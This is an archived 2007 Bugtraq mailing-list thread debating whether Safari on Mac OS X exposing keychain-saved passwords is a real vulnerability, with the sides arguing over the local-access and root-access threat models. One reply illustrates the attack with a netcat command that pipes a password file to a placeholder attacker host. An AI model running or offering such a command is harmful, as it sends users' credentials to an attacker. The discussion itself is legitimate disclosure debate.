Re: Apple Safari on MacOSX may reveal user's saved passwords

看板Bugtraq作者時間18年前 (2007/05/19 00:03), 編輯推噓0(000)
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On 17 May 2007, at 7:50 PM, graham.coles@the-logic-group.com wrote: > It is also why I don't leave my machine logged in and accessible to > other > users, which appears to be the whole basis of this 'vulnerability'. this is NOT the basis of the vulnerability. The point is that normally a malicious applications running as a nonroot are not able to read keychained passwords. In this case to steal passwords is sufficent to entice the victim to execute a malicious script, that normally it's not enough since keychain refuses access to untrusted applications. This issue exposes keychained password as those are saved in a text file: an inexperienced user can loose his password by executing an untrusted malicious shell script (ie "cat /home/pop/pass | nc steal.com 666") > > The whole concept of the keychain, however, is to restrict access > to its > contents to the owner. If you can happily log in as the owner, then > you > have everything they can access, INCLUDING the keychain. If they > can't do > this, you just have some encrypted data. You don't HAVE to store web > passwords, of course. keychain asks for password when the owner wants to see his data and having access to a computer doesn't mean that you have the login password too > If you are sitting at the machine of a person who has left it > logged in > and they use this feature, then whatever web browser you are using > will > believe you are that person and provide access to the website > automatically--you don't need to see the password to use it. and what if you gain a 5 minutes access to a laptop in the middle of the desert where internet connection is missing . . . > > I'd like to know what Apple were supposed to do to fix this? i think it's sufficent to untrust the injected code.... > > It is, after all, YOUR keychain with YOUR passwords that YOU want > applications to recover when YOU are logged in. Why shouldn't YOU > be able > to access it. If you don't want to use it don't, but if someone has > to be > logged in as you to read it, that sounds about right. right?? it's like having passwords saved in a text file and 'chmod 700' it > >>> Someone has *ROOT* access to your system REMOTELY over ssh and >>> you're >>> worried that they might be able to retrieve a password from your > keychain. rooting a computer is really not the point, it' quite obvious that "rooted comp" => "TOTAL compromise" Let me make a question: what if safari makes loaded password part of the html so it's shown when clicking "view page source" ..?? should it be considered a vulnerability?? cheers, -poplix > >> Yes, it would be annoying if someone rooted my laptop. It would be a >> lot more annoying if they not only rooted my laptop but also >> cleaned out >> my bank account via my browser. > > 'Annoying' is the understatement of the millennium. > > As far as root access goes, see my comments above regarding key > loggers? > > With root access they will have your gpg file, they will know what > processes are running (they will know when you run gpg) and they can > capture your keystrokes. Is this then a vulnerability of gpg? So > much for > keeping your online banking safe. Even if you memorize the > passwords, they > can still see your keypresses and thereofre empty your bank account. > > If someone roots your machine, security is non-existant and trust > beyond > repair. Don't trivialize this by comparing it to a 'might be able > to see > your web passwords' issue, this is disaster incarnate and game over > all > rolled into one! > >> It *is* somewhat disturbing that root can so trivially interfere with >> the guts of someone else's processes. Normally, root has to do a >> lot of >> work to do that. > > With great power comes great responsibility, which is precisely why > Macs > have the root login disabled and require a user designated as > 'Administrator' to authenticate themself whenever system files are > modified or installed. Other users are created as non-administrator > and > remote login is blocked by the firewall. The chances of anyone > actually > logging in remotely as root on a normal Mac are zero as you, while > administrator, would have to specifically enable all of this. This > is why > Apple warn you not to do it. > >>>> a different non-root user on the console can do it too >>> Which again restricts this vunerability (as previously mentioned) to > an >>> attacker who happens to be sitting in front of your machine(!) > >> Did you read the bit where I speculated about setuid applications? > > Yes, but again if you can get this far you either have the person's > identity or root access (bad or hopeless situation respectively). Why > worry incessantly about things that you stored in the keychain being > accessed when someone can access everything you own. > > Should the keychain refuse to divulge its contents to a person > authenticated as the owner? > > Is the answer to remove the keychain and watch as people revert to > storing > their passwords unencrypted in stickies, or text files on their > desktop? > > You normally have to come up with a feasible attack vector for > something > to be a vulnerability, this seems far too early to be notifying the > vendor. > > Saving passwords on any web browser is a lousy idea from a security > perspective. However, people don't like security, they like > convenience. > The only real fix here is perhaps a disclaimer message advising > people not > to store important passwords for websites in the browser in the first > place. But lets face reality, even if the did would it stop people > doing > it? > >> -- >> David Cantrell > > -- > Graham Coles > > > > The Logic Group Enterprises Limited > Logic House, Waterfront Business Park, Fleet Road, Fleet, > Hampshire, GU51 3SB, UK > Registered in England. Registered No. 2609323
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